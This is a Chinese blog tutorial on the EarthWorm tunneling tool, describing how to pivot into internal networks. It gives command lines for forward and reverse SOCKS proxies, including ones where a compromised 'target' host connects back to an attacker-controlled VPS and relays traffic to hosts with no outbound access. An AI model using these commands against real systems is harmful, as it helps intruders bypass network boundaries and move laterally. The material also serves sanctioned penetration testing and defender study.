• 【代理篇】内网穿透利器——EarthWorm


    0x01 概述

    1、工具介绍

    EarthWorm是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,可在复杂网络环境下完成网络穿透。工具包中提供了多种可执行文件,以适用Linux、Windows、MacOS、Arm-Linux 等不同的操作系统。

    EarthWorm提供6种功能:

    ssocksd  rssocks  rcsocks  lcx_listen  lcx_tran   lcx_slave      //通过-s参数指定

    各命令用法解释:

    1)./ew -s ssocksd -l 1080           //开启正向socks服务
    2)./ew -s rcsocks -l 1080 -e 8888      //监听1080端口,1080接收的数据通过8888交互传递
    3)./ew -s rssocks -d rev_ip -e 8888        //开启反向socks服务。反向连接rev_ip的8888端口
    4)./ew -s lcx_listen -l 1080 -e 8888        //监听1080端口,1080接收的数据通过8888交互传递
    5)./ew -s lcx_tran -l 1080 -f forward_ip -g 8888      //监听1080端口,1080接收的数据正向传给forward_ip的8888端口
    6)./ew -s lcx_slave -d vps_ip -e 8888 -f B_ip -g 9999       //作为中间角色,反向连接vps的8888,正向连接B的9999。打通两者

    工具使用帮助:

     

    0x02 不同场景中的使用

    1、目标在公网

     

    使用:

    1)目标A:ew_for_win.exe -s ssocksd -l 10802)PC:socks代理连接目标A的1080端口,即可代理近目标内网

    效果

     

     

    2、目标在内网(能出网)

     

    使用:

    1)在vps运行:ew_for_win.exe -s rcsocks -l 1080 -e 88882)在目标A运行:ew_for_win.exe -s rssocks -d vps_ip -e 88883)socks代理连接vps_ip的1080端口,即可代理近目标内网

    效果:

     

     

    3、目标B在内网(不出网,通出网机器A)

     

    (1)A→B正向连接

    使用

    a.在vps运行:ew_for_win.exe -s lcx_listen -l 1080 -e 8888
    
    b.在目标B运行:ew_for_win.exe -s ssocksd -l 9999
    
    c.在出网机器A运行:ew_for_win.exe -s lcx_slave -d vps_ip -e 8888 -f B_ip -g 9999

    效果:

     

     

     

    (2)A←B反向连接

    使用:

    a.在vps运行:ew_for_win.exe -s rcsocks -l 1080 -e 8888
    
    b.在出网机器A运行:ew_for_win.exe -s lcx_tran -l 9999 -f vps_ip -g 8888
    
    c.在目标B运行:ew_for_win.exe -s rssocks -d A_ip -e 9999

    效果:

     

     

     

    0x03 总结

    1、小结

    1)SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。rssocks需要与rcsocks共同使用。
    
    (2)lcx_xxxx用于打通vps和socks服务器之间的链路
    
    (3)-d 8.8.8.8 -e 8888 用于反向连接;-f 8.8.8.8 -g 9999 用于正向连接
  • 相关阅读:
    【Storm篇】--Storm从初始到分布式搭建
    【Storm篇】--Storm 容错机制
    git命令log与reflog的比较
    长时间不操作Navicat或Putty会断线?
    git使用ssh密钥
    公钥能用公钥解吗?
    什么是公钥,,什么是密钥啊 ?有什么区别吗?
    CSS滑动门
    Html设置文本换行与不按行操作
    设置鼠标光标与页面favicon
  • 原文地址:https://www.cnblogs.com/0nth3way/p/11693188.html
Copyright © 2020-2023  润新知